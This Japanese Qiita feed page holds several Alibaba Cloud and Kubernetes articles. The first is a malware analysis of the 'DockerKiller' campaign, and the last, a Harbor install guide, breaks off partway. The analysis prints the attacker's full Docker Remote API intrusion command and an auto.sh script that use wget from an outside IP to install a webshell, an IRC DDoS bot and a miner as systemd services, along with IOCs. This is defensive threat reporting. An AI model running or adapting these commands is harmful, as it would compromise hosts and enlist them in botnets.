  • Qiitaで続きを読む

Dockerサービスへの新たな攻撃「DockerKiller」がDockerデプロイメントを乗っ取らないようにする方法

アリババクラウドセキュリティチームは、DockerKillerと呼ばれる、ウェブに公開されたDockerサービスに対する新たな攻撃を発見しました。

本ブログは英語版からの翻訳です。オリジナルはこちらからご確認いただけます。一部機械翻訳を使用しております。翻訳の間違いがありましたら、ご指摘いただけると幸いです。

Dockerは人気のあるオープンソースのアプリケーションコンテナエンジンで、開発者はアプリケーションや依存関係をポータブルコンテナにパッケージ化して、メインストリームのLinuxサーバーに公開することができます。その優れた移植性から、Dockerは構成の簡素化とマルチテナント環境での迅速なデプロイに広く利用されています。企業では本番環境でDockerを使用するケースが増えており、すでにクラウド環境にも広く展開されています。

Dockerは開発生産性やデプロイプロセスを向上させる一方で、コンテナやコンテナサービスはセキュリティの脆弱性から何となく免れていると考えている人が多く、コンテナのハードニングはあまり注目されていません。データベースサーバ向けに開発に成功したRCE手法(例えば、悪名高いDDGボットネットは、Redisの不正アクセス脆弱性を利用して瞬く間に拡散した)は、Dockerのような露出した他のサービス向けにも試みられています。DockerのRemote APIも、不適切な設定をすると不正アクセスの脆弱性があります。Redis攻撃で採用されたプロセスと同様に、攻撃者はDockerのデータに不正アクセスし、機密データを盗み出したり改ざんしたりして、サーバを掌握することができます。

アリババクラウドセキュリティチームは、Server Guardの動作異常検知とその後の手動調査により、DDoS攻撃やマイニング操作、Webshellバックドアの保守などに利用できるDockerサービスを悪用した攻撃・悪用を発見しました。攻撃に関連したファイルとして、bashd、xm、p.phpなどが感染したホスト上で発見され、解析が行われました。この攻撃は危殆化するだけでなく、Dockerを無効化することもできるため、私たちはこの攻撃をDockerKillerと適切に呼んでいます。当社のクラウドではまだ広く悪用されているとは見ていませんが、他のクラウド環境や世界中の多くの顧客が影響を受ける可能性があります。アリババクラウドセキュリティは、この悪意のある大規模なスキャン活動をブロックすることで、記述された亜種の攻撃からお客様を保護することができましたが、当社のセキュリティチームは引き続きその開発を監視し、今後もDockerKillerのアップデートを公開していきます。

この記事では、スキャンから侵入、悪用まで、DockerKillerのキルチェーンの各ステップを説明し、発見されたDockerの脆弱性の詳細な分析を提供します。

DockerKillerの復号化

2018年7月、Alibaba Cloud Securityは、Linuxシェルスクリプト、バイナリ、phpファイル、一部の設定ファイルを保存しているDockerKillerダウンロードサーバーを発見しました。ファイルは2018年7月17日に作成されたものです。

image.png

内容を分析したところ、これらのファイルには、スキャンや侵入スクリプト、DDoSトロイの木馬、マイニングプログラム、Webshellsなどが含まれていることが判明しました。これらのファイルは、スキャンから悪用、バックドアのメンテナンスまでの一連のプロセスにまとめられています。

完全な攻撃フローチャートは以下の通り。

image.png

次のセクションでは、侵入、搾取、バックドア開放の3つのステップのそれぞれについて詳細な分析を行います。

スキャンと侵入スクリプトの分析

p.txtのログから、2018年7月16日に筆者がMasscanを使用して172から始まる5つのネットワークセグメントアドレスをスキャンしたことがわかります。これはスキャンスクリプトのテストランであったのではないかと疑っています。

image.png

test.shが侵入スクリプトとして動作しました。このスクリプトは、Masscanで取得したdockerips.txtから2375番ポートが開いているDockerコンテナのIPアドレスのリストを読み込みます。不正なDockerアクセスの脆弱性を悪用し、スクリプトはその後、159.203.21.*をダウンロードし、見つかったIPアドレスごとにauto.shを実行しようとし、実行に成功するとauto.shが削除されます。

image.png

上記のキーシェルコマンドを拡大したもの:

docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://159.203.21.239/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh

Dockerが侵害され、auto.shが実行されると、以前のバージョンの悪意のあるファイルがあれば削除され、Webshell、マイニングプログラム、バックドアプログラム、タスクファイル、マイニング設定ファイルなど、更新されたファイルが侵害されたサーバーからダウンロードされ、その実行に進みます。

攻撃の順序は以下の通りです。

1、クリーンアップ:以前のバージョンのマイニングプログラム、DDoSトロイの木馬、サービス、およびそれらの設定ファイルを削除します。
2、ダウンロード:ウェブシェルのバックドア、DDoSトロイの木馬、マイニングアプリケーションをダウンロードします。
3、実行:マイニングスクリプトとDDoSトロイの木馬のサービスが実行されます。
関連するスクリプトは以下の通りです。

#! /bin/sh
rm bashd. 1;
rm xm. 1;
rm data.cfg. 1;
rm bashd.service. 1;
rm xm.service. 1;
wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';
cp privacy.php /var/www/html/privacy.php;
cp privacy.php /var/www/privacy.php;
rm privacy.php;
chmod -R 777 /var/www;
wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';
wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';
wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';
wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';
wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';
sleep 2s;
chmod 777 bashd;
chmod 777 xm;
sleep 2s;
mv "bashd.service" "/etc/systemd/system/bashd.service";
mv "xm.service" "/etc/systemd/system/xm.service";
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl stop xm.service;
systemctl enable bashd.service;
systemctl start bashd.service;
systemctl enable xm.service;
systemctl start xm.service;

DDoS トロイの木馬:マルウェアサンプル解析

研究室にあったbashdのサンプルは、IRCベースのDDoSクライアントであるkaiten.cを改造したものでした。サイズは42KBで、x86-64用にコンパイルされており、2018年7月17日11時35分にコンパイルされています。

プログラムがメインプロセスに入ると、「irc.dal.net」「irc.efnet.org」「us.quakenet.org」の3つのサーバのいずれかをランダムに選択して接続します。その後、パスワード "kingofthehill" を使ってチャンネル "#kotchat" に接続します。

image.png

コードの中の3つのサーバーのアドレスです。

image.png

サーバとの接続を確立した後、コマンドを待ちます。サポートされているコマンドには、ACK および SYN フラッド攻撃の起動、UDP パケットの送信、ネットワークデータパケットのキャプチャなどがあります。
サポートされているコマンドの全てのリスト:

image.png

プログラムは、適切なコードを呼び出すことで関連する命令を実行します。例えば、マルウェアが使用しているSYN FLOODの攻撃コードは以下の通りです。

image.png

こちらがACK FLOODの攻撃コードです。

image.png

このコードは、ホストに感染した後に自動的に実行され、IRCを介してコマンド・コントロール・サーバに直接接続して指示を受けます。一度感染すると、ホストは強力なDDoS攻撃を実行できるDDoSクライアントとなり、インターネット接続の帯域幅によってのみ制限されます。

マイニング機能

xm' マイニングプログラムは、オープンソースの xmrig マイニングツールを改造したものです。ファイルサイズは1.9MBで、x86-64用にコンパイルされています。2018年7月17日11時35分にコンパイルされました。以下のコマンドに対応しています。

image.png

サンプル解析中にウォレットアドレスが特定できませんでした。ウォレットアドレスの情報が入っているはずのサーバー設定ファイルdata.cfgもダウンロードできませんでした。ファイルの作成時間と発見のタイミングから、DockerKillerはまだテストと評価の段階にあり、大規模な立ち上げには至っていないのではないかと推測されます。

Webshellのバックドア

p.phpは、その内容を隠蔽しようとした作者がPHPでコーディングしたものです。元の難読化されたp.phpファイルは以下の通りです。

image.png

当社のセキュリティチームによるデコードに成功した後、コンテンツを簡単に分析することができます。

image.png

p.phpは基本情報の表示やコマンドの実行、ファイルのアップロード、パスワードのクラックなど、豊富な機能を持つトロイの木馬であることがわかりました。

image.png

auto.shが実行された後、p.phpがサーバから侵害されたホストマシンにダウンロードされます。これは cp コマンドを使って privacy.php ファイルをサーバのルートディレクトリ /var/www/html/var/www にコピーします。これらのWebサービスがDockerサーバにデプロイされると、ファイルの窃盗、コマンドの実行、破壊などの後続の攻撃段階を実行するためのバックドアとして機能します。

緩和の提案

クラウド環境でDockerを使用している場合、本番では使用していなくても、DockerKillerから守るためにデプロイを固める必要があります。以下、おすすめのアクションをご紹介します。

1、Docker Remote APIのデフォルトパラメータを変更します(要再起動)。
- DOCKER_OPTS内のtcp://0.0.0.0.0.2375を探し、0.0.0.0.0127.0.0.1に変更します。
   
- デフォルトの2375番ポートを非標準のカスタムポートに変更します。

2、リモートAPIの認証対策を設定します(再起動が必要です)。
3、Dockerサービスの実行に使用するアカウントを変更します(再起動が必要)
セキュリティ権限の低いアカウントを使用してDockerを実行します。これにより、攻撃者がリスクの高いコマンドを実行する能力が制限されます。
4、ファイアウォールポリシーを設定します。
通常の業務運用中にAPIサービスに他のサーバーからアクセスする必要がある場合は、セキュリティグループやiptablesポリシーを設定して、指定したIPアドレスのみがDockerインターフェイスにアクセスできるようにすることができます。
5、脅威検知と防御には、アリババクラウドセキュリティ製品をご利用ください。
Alibaba Cloud Securityが提供する脅威検知サービスは、脆弱性の検知と防御を提供します。このサービスは、Alibaba Cloud Security Management Consoleで有効にすることができます。

侵害指標

Sample MD5 Description
xm 36a332f5a8dc058fdf437fa67ecc06cf Mining program
bashd 1fec42b7959f31d2c1da59f764e4d554 Remote control, DDoS client
p.php ead7a311765c9d21e28581b8a9ae3fa5 webshell
auto.sh cda28610ef3e3ffb0758a0a332e27f0b Intrusion script

IRC ドメイン
irc.dal.net
irc.efnet.org
us.quakenet.org

接続チャンネル
 #kotchat

パスワード
kingofthehill

ダウンローダーサーバー
1、http://159.203.21.[]/
2、ftp://100.34.113.[]/Seagate_Expansion_Drive/Seagate/Registration/

ここでは、ホスティングクラウドサービスと連携してダウンローダーのサーバーをダウンさせ、さらなる感染を防ぐためにcブロックアドレスを保護しています。

結論

DockerKillerは、Dockerの脆弱性を悪用して不正アクセスを行い、DDoS攻撃の起動、マイニング操作、WebShellバックドアの保守など、あらゆる悪意のある活動を行います。サンプルのトレーサビリティ分析からは、関連するウォレットアドレスに関する情報は見つかりませんでした。比較的小規模な展開と、感染後に開始されたDDoS攻撃がないことを考慮すると、DockerKillerはまだテスト段階であり、まだ広く展開されていないと考えてよいでしょう。しかし、Redisの不正アクセス脆弱性に基づく過去のセキュリティインシデントを踏まえれば、このDockerの脆弱性が大規模に悪用されることは想像に難くありません。マイクロサービスコンテナとしてDockerをデプロイし続ける企業が増えていることから、これらのデプロイの多くが不適切な設定によって侵害される可能性があります。

DockerKillerを検出・分析した後、Dockerに連絡して調査結果を報告したところ、回答が返ってきました。

image.png

Dockerのセキュリティが強化される前に、企業はDocker構成の定期的なチェックを行い、一般的にエッジアプリケーションのセキュリティを強化して、クラウドインフラストラクチャを安全に保つことをお勧めします。

参考文献

https://www.alibabacloud.com/help/faq-detail/37517.htm
https://dl.packetstormsecurity.net/irc/kaiten.c
https://github.com/moby/moby/pull/37299
https://www.datadoghq.com/docker-adoption/

アリババクラウドは日本に2つのデータセンターを有し、世界で60を超えるアベラビリティーゾーンを有するアジア太平洋地域No.1(2019ガートナー)のクラウドインフラ事業者です。
アリババクラウドの詳細は、こちらからご覧ください。
アリババクラウドジャパン公式ページ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

できるだけ簡単にKubernetesする(Windows10)Part3

前回は、コンテナ1個しか使わなかったので、
今回は、コンテナを複数使えるようにしていこうと思います。

とはいえ、コンテナの数が多すぎると、
やはり簡単さから遠ざかりますので、
2つでいってみようと思います。

2つでいければ、3つ以上もやり方はほぼ同じですし。

では、コンテナ2つ動かそうと思いますが、
Webサイトでいうところの、
Webサーバー部分と、アプリケーション部分を
分けてみたいと思います。

使うものはなんでも良いのですが、
Webサーバー→nginx
アプリケーション→php
でいってみます。

他のWebサーバーやアプリケーションを使う場合でも、
基本、方法は同じです。

コンテナを複数起動

ファイル名を「nginx-php.yaml」とでもして、
作成してみます。

今回、他にもいくつかファイルを作成しますが、
すべて前回作った kubernetes ディレクトリ直下に
置いてしまって大丈夫です。

ちなみにですが、
---
で区切れば、複数書くことが可能です。
ということで、今回は、nginx と php 2つのコンテナを
1つのファイルに書いてみました。

さらに、image のタグもつけてみました。

apiVersion: v1
kind: Pod
metadata:
  name: sample-nginx
spec:
  containers:
  - name: sample-nginx-container
    image: nginx:1.19
---
apiVersion: v1
kind: Pod
metadata:
  name: sample-php
spec:
  containers:
  - name: sample-php-container
    image: php:7.4-fpm

それではさっそく、試しにこのファイルを適用させてみましょう。

C:\Users\test\kubernetes> kubectl apply -f nginx-php.yaml
pod/sample-nginx created
pod/sample-php created

nginx と php 両方とも作れたようです。

前回と同じように「kubectl get pods」のコマンドで
状況を確認しようと思いますが、
pods 部分は po に省略できますので、
「kubectl get po」で確認してみます。

C:\Users\test\kubernetes> kubectl get po
NAME           READY   STATUS              RESTARTS   AGE
sample-nginx   0/1     ContainerCreating   0          2s
sample-php     0/1     ContainerCreating   0          2s

ここまでは、問題なさそうですね。

C:\Users\test\kubernetes> kubectl get po
NAME           READY   STATUS    RESTARTS   AGE
sample-nginx   1/1     Running   0          17s
sample-php     1/1     Running   0          17s

すこし時間がかかりましたが、両方ともRunningになりました。
問題なさそうです。

Nginxをブラウザで閲覧する

ひとまず、コンテナは動いたのですが、Webサイト予定ですし、
最終的にはブラウザで見えるようにしたいです。

とはいっても、現状、localhost で、アクセスしようとしても、
ポートが割り当てられていないので、アクセスできません。

ということで、まずは nginx にアクセスできるようにしてみたいと思います。

そこで使うのが「サービス」というものなのですが、
言葉だけ聞くと、わかりづらいので、
ここでは、コンテナへの通信を行うためのもの、
と覚えておいてもらえれば問題ないと思います。

では、そのサービスを追加します。

さきほど作成した nginx-php.yaml の一番下に、
追加してみました。

apiVersion: v1
kind: Pod
metadata:
  name: sample-nginx
  labels:
    app: nginx
spec:
  containers:
  - name: sample-nginx-container
    image: nginx:1.19
---
apiVersion: v1
kind: Pod
metadata:
  name: sample-php
spec:
  containers:
  - name: sample-php-container
    image: php:7.4-fpm
---
apiVersion: v1
kind: Service
metadata:
  name: sample-nodeport
spec:
  type: NodePort
  ports:
  - nodePort: 30080
    port: 8080
    targetPort: 80
  selector:
    app: nginx

ここも、1つずつ見ていくと、簡単さから遠ざかりそうですので、
必要そうな部分だけ見てみますと、

このサービスは、「30080」のポートで受けられるよ、というのと、
通信先は、「app: nginx」だよ、という部分です。

で、通信先の「app: nginx」は nginx のコンテナにしたいので、
nginx 部分に、

  labels:
    app: nginx

も追加しておきました。

では、「kubectl apply -f nginx-php.yaml」でファイルを適用させてみましょう。

C:\Users\test\kubernetes> kubectl apply -f nginx-php.yaml
pod/sample-nginx configured
pod/sample-php unchanged
service/sample-nodeport created

nginx は、「app: nginx」を追加したので、configured になっています。
php は、何もしてないので、unchanged ですね。
で、あらたにサービスを加えたので、nodeport が created しました。

では、この状態で、localhost からポート30080 で通信すると、
サービスを通り、nginx に到達するはずですので、試してみましょう。

http://localhost:30080/

いかがでしょうか。

Welcome to nginx!

が出てきたら、成功です。

nginx.jpg

ここまで来れば、静的サイトであれば、
この Nginx コンテナにファイルを置いて完了ですね。

PHPへのサービス設定

今回は、php とも通信するのが目的ですから、
さらに、php のサービスも追加してみます。

apiVersion: v1
kind: Pod
metadata:
  name: sample-nginx
  labels:
    app: nginx
spec:
  containers:
  - name: sample-nginx-container
    image: nginx:1.19
---
apiVersion: v1
kind: Pod
metadata:
  name: sample-php
  labels:
    app: php
spec:
  containers:
  - name: sample-php-container
    image: php:7.4-fpm
---
apiVersion: v1
kind: Service
metadata:
  name: sample-nodeport
spec:
  type: NodePort
  ports:
  - nodePort: 30080
    port: 8080
    targetPort: 80
  selector:
    app: nginx
---
apiVersion: v1
kind: Service
metadata:
  name: sample-clusterip
spec:
  type: ClusterIP
  ports:
  - port: 9000
    protocol: TCP
  selector:
    app: php

一番下のブロックに、php のサービスを追加しました。

さっきの nginx では、NodePort というサービスなのに対し、
今回の php では、ClusterIP というサービスです。

これも細かいところまでいくと、だいぶややこしくなるので、
現時点では、ローカルの Windows から通信できるのは、NodePort で、
Kubernetes の中だけで、通信できるのが、ClusterIP という感じで
考えていてください。

php は、nginx から受けられれば問題ないので、
Windows から通信できなくてもOKです。
むしろ通信できない方が安全ですしね。

NginxからPHPへ通信

残りは、nginx から php へ接続すれば完了ですね。
となると、もう Kubernetes ではなく、nginx の設定になるので、
言われなくてもわかってるよ、という人も多いかもしれませんが、
nginx を以下のような設定にすれば、php のコンテナに通信されます。

「default.conf」という名称で、以下ファイルを作成してみましょう。

server {
  listen       80;
  server_name  localhost;

  location / {
    root /var/www/html;

    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass sample-clusterip:9000;
    fastcgi_index index.php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param PATH_INFO $fastcgi_path_info;
  }
}

nginx を普段から使われている方であれば、
いつもと違う部分は、おそらく fastcgi_pass だけですね。
ここを、「サービス名:ポート」にするだけです。
nginx は Kubernetes 内部にいるので、
clusterip で接続が可能です。

さて、このファイルを nginx コンテナに設置すればいいだけですが、
せっかくですし、今まで避けていた Docker を登場させようと思います。

とはいっても、簡単にしておきたいと思いますので、
ひとまず、「Dockerfile」という名称のファイルを作成してもらって、
以下2行のみ書き、保存します。

FROM nginx:1.19
COPY default.conf /etc/nginx/conf.d/default.conf

これは、nginx:1.19 の image を元にして、
default.conf を、/etc/nginx/conf.d/default.conf にコピーしてください、
というものです。

保存した「Dockerfile」から、新しく imege を作成するのが、
以下の「docker build -t イメージ名:タグ名 .」コマンドです。

C:\Users\test\kubernetes> docker build -t nginx:test .

これをざっくりと説明すると、nginx:test というイメージを、
現在のディレクトリにある、Dockerfile から作成するものなのですが、
最後の .(ドット)がわかりづらいですね。

実際はここで、Dockerfile を指定することも可能なのですが、
今いるディレクトリに、Dockerfile が置いてあれば省略可能なので、
. としていました。

問題なく作成できれば、「docker image ls」コマンドで、
作った image が確認できるはずです。

C:\Users\test\kubernetes> docker image ls
REPOSITORY                           TAG                                              IMAGE ID            CREATED             SIZE
nginx                                test                                             b1fa55172024        1 minutes ago      132MB

他のもずらずら出てくるかと思いますが、
今回は、nginx:test を作ったので問題なさそうですね。

こうなると、nginx:test という image が使用可能ですので、
yaml ファイルの nginx 部分を書き換えましょう。

apiVersion: v1
kind: Pod
metadata:
  name: sample-nginx
  labels:
    app: nginx
spec:
  containers:
  - name: sample-nginx-container
    image: nginx:test
---
apiVersion: v1
kind: Pod
metadata:
  name: sample-php
  labels:
    app: php
spec:
  containers:
  - name: sample-php-container
    image: php:7.4-fpm
---
apiVersion: v1
kind: Service
metadata:
  name: sample-nodeport
spec:
  type: NodePort
  ports:
  - nodePort: 30080
    port: 8080
    targetPort: 80
  selector:
    app: nginx
---
apiVersion: v1
kind: Service
metadata:
  name: sample-clusterip
spec:
  type: ClusterIP
  ports:
  - port: 9000
    protocol: TCP
  selector:
    app: php

では、これで、再度適用させてみましょう。

C:\Users\test\kubernetes> kubectl apply -f nginx-php.yaml

http://localhost:30080/

へアクセスしてみます。

File not found. になってしまいました。
php にファイルを置くのを忘れてましたね。

もし、今も nginx の画面が見えているとしたら、
おそらく Windows ブラウザのキャッシュだと思われます。
キャッシュを削除すると、nginx の画面が見えなくなるはずです。

このままだと、ちゃんと php へアクセスできているか
わからないですし、確認したいですね。

さっきのように、「Dockerfile」から新しい php image を作っても良いですが、
php であれば、コンパイルなしに確認できますし、直接コンテナを操作してみましょう。

コンテナを確認して、

C:\Users\test\kubernetes> kubectl get po
NAME           READY   STATUS    RESTARTS   AGE
sample-nginx   1/1     Running   0          10m
sample-php     1/1     Running   0          10m

sample-php という名前が確認できましたので、コンテナを操作してみましょう。

C:\Users\test\kubernetes> kubectl exec -it sample-php /bin/bash
root@sample-php:/var/www/html#  

もうすでに、ここが nginx で設定した root ディレクトリのようですので、
index.php を作成してみましょう。

root@sample-php:/var/www/html# vi index.php
bash: vi: command not found

このコンテナ vi 入ってなかったです。

もちろん vi をインストールしても良いのですが、
php に通信できることがわかりさえすれば良いので、
phpinfo くらいでいいですし、echo コマンドでいってしまいたいと思います。

root@sample-php:/var/www/html# echo "<?php phpinfo();" > index.php

再度、確認してみると、

http://localhost:30080/

phpinfo が見えました。

問題なさそうですね。

ここまで作成したものを削除したい場合は、
「kubectl delete -f nginx-php.yaml」を実行してください。

C:\Users\test\kubernetes> kubectl delete -f nginx-php.yaml
pod "sample-nginx" deleted
pod "sample-php" deleted
service "sample-nodeport" deleted
service "sample-clusterip" deleted

これで、消えたはずです。

C:\Users\test\kubernetes>kubectl get po
No resources found in default namespace.

大丈夫そうですね。

今回、Nginx + PHP で試しましたが、
他のものでも基本やりかたは同じなはずです。

さいごに

読んでいただきありがとうございました。

ただ、すみません、もっと簡単にできると考えていたのですが、
予想以上に長い&ややこしくなってしまいました。
もう少し、わかりやすくできたら修正しようと思います。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerでアリババクラウドのコマンドラインインターフェイスを実行する

Alibaba Cloud Command Line Interface(CLI)は、コマンドラインから複数のサービスを制御したり、スクリプトを使って自動化したりできる統合ツールです。

本ブログは英語版からの翻訳です。オリジナルはこちらからご確認いただけます。一部機械翻訳を使用しております。翻訳の間違いがありましたら、ご指摘いただけると幸いです。

Alibaba Cloud Command Line Interface(CLI)は、Alibaba Cloudのサービスを管理するための統一ツールです。1つのツールをダウンロードして設定するだけで、コマンドラインから複数のAlibaba Cloudサービスを制御し、スクリプトで自動化することができます。

CLIでは、内部で各種製品のSDKを利用して、意図した結果を実現しています。このインストールは、新しいSDKのバージョンが頻繁にリリースされることを考えると、メンテナンスが大変な場合があります。また、前提条件がインストールされているマシンにアクセスできない場合も面倒です。

このような状況ではDockerが便利です。Dockerの主な利点は、ソフトウェア開発のための標準化された単位に、すべての依存関係を持つアプリケーションをパッケージ化できることです。仮想マシンとは異なり、コンテナは高いオーバーヘッドを持たないため、基盤となるシステムやリソースをより効率的に利用することができます。

このドキュメントでは、CLIを自由に起動するために使用できる、事前にパッケージ化されたAlibaba Cloud CLI Dockerイメージについて説明します。また、コンテナのデータを永続化する方法についても説明しています。

前提条件

1、Dockerがインストールされているマシンです。やり方がわからない場合は、このチュートリアルを参照してください。
2、インターネット接続が機能していることです。

はじめに

開始するには、Alibaba Cloud CLI Dockerイメージを取得する必要があります。使用ケースに応じて、以下のコマンドのいずれかを実行してください(以前にイメージが取得されていない場合は、最新のイメージも取得されます)。

インタラクティブモード

docker run -ti aliyunca/aliyuncli-python-toolbox:latest sh

デタッチドモード

docker run -dti aliyunca/aliyuncli-python-toolbox:latest sh

これらの呼び出しの両方について、CLIを設定する必要があります。

# configure the CLI

$ aliyuncli configure

Aliyun Access Key ID [None]: my_access_id

Aliyun Access Key Secret [None]: mypassword

Default Region Id [None]:

Default output format [None]:

# make calls to Aliyun!

$ aliyuncli ecs

usage: aliyuncli <command> <operation> [options and parameters]

[ecs] valid operations as follows:

ActivateRouterInterface               | AddTags  

AllocateEipAddress                     | AllocatePublicIpAddress

ApplyAutoSnapshotPolicy          | AssociateEipAddress

AssociateHaVip                          | AttachDisk

....



# get some help regarding the function

aliyuncli ecs DescribeImages help

注: dockerイメージは、初期のCLI設定を永続化するように設定することができます。これは、ユーザが信頼しているコンピュータでのみ行う必要があります。ハイライトされたパラメータを置き換える必要があります。

以下のコマンドを実行して、CLIパラメータを保存するローカルフォルダ参照を渡します。

docker run -dti \

      -v {Full local folder path}:/root/.aliyuncli \

      aliyunca/aliyuncli-python-toolbox:latest sh

環境変数も尊重されています。

docker run -dti \

      --env ALI_ACCESS_KEY={API Key} \

      --env ALI_ACCESS_SECRET={API Secret} \

      --env ALI_DEFAULT_REGION=ap-southeast-1 \

      --env ALI_OUTPUT_FORMAT=json \

      aliyunca/aliyuncli-python-toolbox:latest sh

結論

このドキュメントでは、自分で環境を維持するための複雑な作業を経ることなく、Alibaba Cloud CLIにアクセスする簡単な方法を説明しています。これにより、CLIのインストールの一部としてインストールされる依存関係からホストコンピュータを解放することもできます。

アリババクラウドは日本に2つのデータセンターを有し、世界で60を超えるアベラビリティーゾーンを有するアジア太平洋地域No.1(2019ガートナー)のクラウドインフラ事業者です。
アリババクラウドの詳細は、こちらからご覧ください。
アリババクラウドジャパン公式ページ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CentOS 7を使用したAlibaba Cloud ECSインスタンスへのHarborのインストールと設定

このチュートリアルでは、CentOS 7を使用したAlibaba Cloud Elastic Compute Service (ECS)インスタンスにHarborをインストールして設定します。

本ブログは英語版からの翻訳です。オリジナルはこちらからご確認いただけます。一部機械翻訳を使用しております。翻訳の間違いがありましたら、ご指摘いただけると幸いです。

前提条件

  • Alibaba Cloud Elastic Compute Service (ECS)を有効化し、有効な支払い方法を確認する必要があります。新規ユーザーの場合は、Alibaba Cloudアカウントで無料アカウントを取得することができます。ECSインスタンスのセットアップ方法がわからない場合は、このチュートリアルまたはクイックスタートガイドを参照してください。ECSインスタンスは、少なくとも1GBのRAMと1つのCoreプロセッサを搭載している必要があります。
  • Alibaba Cloudから登録されたドメイン名。すでにAlibaba Cloudまたは他のホストからドメインを登録している場合は、そのドメインネームサーバーレコードを更新することができます。
  • ドメイン名は、あなたのAlibaba Cloud ECSのIPアドレスを指している必要があります。
  • サーバーのホスト名を設定します。
  • アリババクラウドのVNCコンソールまたはPCにインストールされているSSHクライアントにアクセスする 前提条件が完了したら、Alibaba Cloudアカウントのダッシュボードで利用できるSSHクライアントまたはVNCコンソールを介して、rootユーザー名とパスワードを使ってrootユーザーとしてログインします。

Alibaba Cloud ECSインスタンスのセットアップ

ルート権限を持つユーザーの追加

最初のステップでは、新しいユーザーを追加して sudo 権限を与えます。sudo 権限を与えることで、このユーザは必要に応じてシステム上で管理者権限の変更を行うことができます。このユーザは、日常的に SSH 経由でログインするために使用されます。このユーザを追加したら、様々な攻撃からサーバを守るために、rootユーザへのリモートrootアクセスを無効にします。

新しいユーザーアカウントを作成するには、以下のコマンドを使用します。

#  adduser aareez 

ここで、"areeez" は任意のユーザー名を指定できます。

追加したユーザ名にパスワードを設定する必要があります。パスワードを設定するには、以下のコマンドを実行します。

#  passwd aareez 

希望のパスワードを設定し、希望のパスワードを再入力してからEnterを押します。データが正しいことを確認するには、Yを入力してEnterを押します。

これでsudoユーザーのグループにユーザー名を割り当てて管理者権限を与えます。このために、/etc/sudoersファイルをチェックして、sudoersグループが有効になっているかどうかを確認します。そのために、以下のコマンドを実行します。

#  visudo 

上記コマンドを実行するとファイルが開きますので、開いたファイルの中から以下の行を探してください。

image.png

デフォルトでは、2行目の %wheel ALL=(ALL:ALL) ALL がコメントされていることがあります (ハッシュ # で始まる )。そのため、ユーザ名を sudoers に追加した後でも sudo を使用するとエラーになります。この問題を防ぐには、この行が '#' 記号で始まる場合は、この記号を削除し、Esc キーを押しながら :x と入力して Enter キーを押して変更を保存してください。

ここで、以下のコマンドを実行して、ユーザー名「aareez」「wheel」グループに追加します。

#  usermod -aG wheel aareez 

上記コマンド実行後、以下のコマンドを実行することで、そのグループのメンバーシップを確認することができます。

#  groups aareez 

あなたのユーザ名が sudoers グループに追加され、任意の root コマンドを実行できるようになりました。

新しいユーザ名とパスワードを使ってログインしてください。または、以下のコマンドでユーザを切り替えます。

#  su - aareez 

現在、新しいアカウントからログインしていることが確認できます。これを確認したい場合は、以下のコマンドを使用します。

#  whoami 

wget のインストール

URLからファイルをダウンロードするにはwgetをインストールする必要があります。以下のコマンドを実行してください。

#  sudo yum install wget 

パスワードの入力を求められますが、その後、確認メッセージ 「Is this ok?」が表示されます。Yを入力してEnterキーを押します。

nano-editorのインストール

nano編集ファイルをインストールする必要があります。以下のコマンドを実行してください。

#  sudo yum install nano 

確認メッセージ「Is this ok?」が表示されます。Y と入力して Enter キーを押します。

epel-releaseをインストール

epel-releaseをインストールしてepelリポジトリをインポートする必要があります。以下のコマンドを実行します。

#  sudo yum install epel-release 

確認メッセージ「Is this ok?」が表示されます。Yと入力してEnterキーを押します。

CentOS 7システムのアップデート

何らかのパッケージのインストールを進める前に、以下のコマンドを使用して CentOS システムをアップデートしてください。このコマンドを実行するには、root ではないユーザから sudo 権限でログインすることを忘れないでください。

まず、以下のコマンドを実行してキャッシュをクリアします。

#  sudo yum clean all 

これで、以下のコマンドでシステムを更新します。

#  sudo yum -y update 

yum-utils のインストール

yum-utils をインストールして yum utils をインポートする必要があります。

以下のコマンドを実行します。

#  sudo yum install yum-utils 

確認メッセージ「Is this ok?」が表示されます。Yと入力してEnterを押します。

Docker CEとDocker Composeのインストール

Docker CEのインストール

Docker ceとDocker composeをインストールするには、rootユーザーでログインすることをお勧めします。

#  su - root 

まず、docker-ceをインストールします。以下のコマンドを実行してdockerのリポジトリを行います。

#  yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo 

以下のコマンドを実行します。

#  yum install docker-ce 

確認メッセージ「Is this ok?」が表示されます。Yを入力してEnterキーを押します。
再度尋ねられるので 「Is this ok? 」Yと入力してEnterキーを押します。

python-pipをインストール

また、python-pipをインストールする必要があります。以下のコマンドを実行します。

#  yum install python-pip 

Dockerのインストール Compose

docker-composeをインストールする必要があります。以下のコマンドを実行して、最新版のdocker-composeを取得します。

#  pip install docker-compose 

あとは以下のコマンドでdockerを起動する必要があります。

#  systemctl start docker 

dockerが正常に動作しているかどうかを確認するには、以下のコマンドを実行します。

#  docker run hello-world 

Harborの設置

Harborをインストールする前に、sudo権限で自分のユーザーに切り替えます。私の場合、ユーザー名はaareezですが、以下のコマンドで自分のユーザー名に置き換えてください。

#  su - aareez 

Harborをインストールするには、リリースページからバイナリをダウンロードする必要があります。バイナリは、オフラインだけでなく、オンラインインストーラで利用可能です。お好みのものをお使いください。

オンラインインストーラの場合
オンラインインストーラの場合は、以下のコマンドを実行します。

#  wget https://github.com/vmware/harbor/releases/download/v1.2.0/harbor-online-installer-v1.2.0.tgz 

オフラインインストーラの場合
オンラインインストーラの場合は、以下のコマンドを実行します。

#  wget https://github.com/vmware/harbor/releases/download/v1.2.0/harbor-offline-installer-v1.2.0.tgz 

次のコマンドでパッケージを展開します。

**オンラインインストーラの場合

